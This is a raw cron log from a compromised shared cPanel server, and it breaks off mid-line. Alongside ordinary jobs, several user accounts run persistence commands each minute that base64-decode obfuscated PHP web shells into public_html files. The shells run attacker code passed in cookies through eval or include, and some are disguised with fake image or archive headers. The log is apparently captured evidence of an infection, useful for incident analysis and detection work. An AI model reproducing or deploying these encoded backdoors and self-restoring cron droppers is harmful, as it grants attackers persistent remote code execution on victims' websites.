Mar  2 04:17:01 medusa CROND[13243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:17:01 medusa CROND[13245]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:17:01 medusa CROND[13248]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:17:01 medusa CROND[13249]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:17:01 medusa CROND[13237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:18:01 medusa CROND[507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:18:01 medusa CROND[732]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:18:01 medusa CROND[733]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:18:01 medusa CROND[736]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:18:01 medusa CROND[737]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:18:01 medusa CROND[738]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:18:01 medusa CROND[744]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:18:01 medusa CROND[750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:18:01 medusa CROND[752]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:18:01 medusa CROND[753]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 04:18:01 medusa CROND[755]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:18:01 medusa CROND[754]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:18:01 medusa CROND[756]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:18:01 medusa CROND[773]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:19:01 medusa CROND[19680]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:19:01 medusa CROND[19679]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:19:01 medusa CROND[19681]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:19:01 medusa CROND[19683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:19:01 medusa CROND[19684]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:19:01 medusa CROND[19686]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:19:01 medusa CROND[19685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:19:01 medusa CROND[19692]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:19:01 medusa CROND[19693]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:19:01 medusa CROND[19695]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:19:01 medusa CROND[19697]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0h